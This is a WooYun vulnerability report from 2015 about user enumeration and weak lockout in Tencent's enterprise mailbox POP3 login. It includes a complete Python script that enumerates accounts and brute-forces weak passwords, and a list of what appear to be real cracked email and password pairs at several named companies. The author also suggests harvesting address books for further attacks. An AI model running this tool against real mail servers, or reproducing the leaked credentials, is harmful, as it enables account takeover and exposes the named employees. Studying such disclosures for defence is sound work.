当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0145012

漏洞标题:腾讯企业邮箱一处设计缺陷(附邮箱爆破脚本)

相关厂商:腾讯

漏洞作者: null_z

提交时间:2015-10-06 14:02

修复时间:2015-11-22 15:24

公开时间:2015-11-22 15:24

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-06: 细节已通知厂商并且等待厂商处理中
2015-10-08: 厂商已经确认,细节仅向厂商公开
2015-10-18: 细节向核心白帽子及相关领域专家公开
2015-10-28: 细节向普通白帽子公开
2015-11-07: 细节向实习白帽子公开
2015-11-22: 细节向公众公开

简要描述:

~~~~

详细说明:

这几天做邮箱爆破工具时候发现几个小问题。
腾讯企业邮箱爆破的时候会返回一下两种常见错误

1.ERR 登录失败,用户不存在,login failed
2 .ERR 密码错误或者POP服务未开通。若POP服务未开通,详细说明请查看: http://service.mail.qq.com/cgi-bin/help?subtype=1&&id=28&&no=166 INCORRECT PASSWORD OR ACCOUNT IS NOT ENABLED FOR POP ACCESS. IF ACCOUNT IS NOT ENABLED, FOR MORE DETAILS PLEASE VISIT: http://service.mail.qq.com/cgi-bin/help?subtype=1&&id=28&&no=166


对于企业邮箱用户而言pop服务是默认开启的,几乎没有企业关闭这个选项。
所以要么用户不存在,要么是密码错误。这意味着我们可以知道那些用户是存在的,写个爆破脚本+top10000用户名即可轻松获取一个企业大致员工姓名。
这算不算一个漏洞呢?我们来对比一下163企业邮箱
腾讯企业邮箱

2015-10-06 12:25:42的屏幕截图.png


163企业邮箱

2015-10-06 12:26:48的屏幕截图.png


结果很显然。
在防爆破问题上163邮箱的措施是

2015-10-06 12:32:24的屏幕截图.png


而腾讯企业邮箱防爆破上限制也比较宽松对同一个账户试探密码次数过多应该师二十次左右才会出问题,导致无法继续下去,那么我们可以这样,存在的用户逐一试探top10弱口令。
工具如下,逻辑是先判断用户是否存在,如果存在top10弱口令爆破,不存在跳过。
弱口令规则['Asdf1234','Qwer1234','Abcd1234','a123456',name[0].upper()+name[1:]+'123',name+'123',name+'1234',domain+'123',domain+'1234']

#!/usr/bin/python
#-*-coding:utf-8-*-
'''
mail_hunter for brute mail weakpass
'''
import poplib
import argparse
import os
def tencent(usernames,suffix):
server="pop.exmail.qq.com"
domain_local=suffix.split('.')[0]
try:
pop = poplib.POP3_SSL(server,995)
welcome = pop.getwelcome()
print welcome
pop.quit()
except (poplib.error_proto):
print "No Response"
users=[]
with open(usernames,'rb') as userFile:
while True:
user=userFile.readline().strip()
if user=='':
break
users.append(user+'@'+suffix)
for i in range(0,len(users)):
name=users[i].split('@')[0]
try:
pop=poplib.POP3_SSL(server,995)
pop.user(users[i])
auth=pop.pass_(name)
if auth=="+OK":
pop.quit()
print "\n"+"[SUCCESS]:"+users[i]+'-----'+name+'\n'
else:
pop.quit()
except Exception,e:
e=str(e).decode('gbk')
if e.count(u'密码错误或者')>0:
print users[i]+"---"+"exists brute for passwd"
passwds=[]
passwds.append(domain_local+'@123')
weak_value=['Asdf1234','Qwer1234','Abcd1234','a123456',name[0].upper()+name[1:]+'123',name+'123',name+'1234']
passwds.extend(weak_value)
if len(domain_local)<4:
passwds.append(domain_local+'1234')
passwds.append(domain_local[0].upper+domain_local[1:]+'1234')
else:
passwds.append(domain_local+'123')
passwds.append(domain_local[0].upper()+domain_local[1:]+'123')
for passwd in passwds:
try:
pop=poplib.POP3_SSL(server,995)
print "[try]"+users[i]+'----'+passwd
pop.user(users[i])
auth=pop.pass_(passwd)
#mm=str(auth).decode('gbk')
#print "this is auth:"+mm
if auth=="+OK":
pop.quit()
print "\n"+"[SUCCESS]:"+users[i]+'-----'+passwd+'\n'
break
else:
pop.quit()
except Exception,e:
pass
else:
print users[i]+'---',
print e
if __name__=="__main__":
parser=argparse.ArgumentParser()
parser.add_argument('-u','--username',dest='username',help='wordlist of username',required=True)
parser.add_argument('-s','--suffix',dest='suffix',help='suffix of mail',required=True)
arg=parser.parse_args()
usernames=arg.username
suffix=arg.suffix
tencent(usernames,suffix)


使用效果

2015-10-06 12:53:16的屏幕截图.png


这两天我拿使用腾讯企业邮箱的企业测试几乎没有不出问题的企业。

好大夫
zhangyan@haodf.com----haodf123
lifang@haodf.com----haodf123
zhangrui@haodf.com----haodf123
zhoujing@haodf.com----Asdf1234
人人车
pr@renrenche.com----pr1234
wangchao@renrenche.com-----renrenche@123
wangxin@renrenche.com-----renrenche@123
爱投资
wangliang@itouzi.com----a123456
mail:liubo@itouzi.com----a123456
趣分期
zhangtao@qufenqi.com----Qufenqi123
雷锋网
lifeng@leiphone.com----leiphone123
阿姨帮
mail:test@ayibang.com----test123
mail:lijun@ayibang.com----lijun123
这只是第一次爆破海可以导出通讯录进行二次爆破

漏洞证明:

以上

修复方案:

~~~

版权声明:转载请注明来源 null_z@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:2

确认时间:2015-10-08 15:23

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无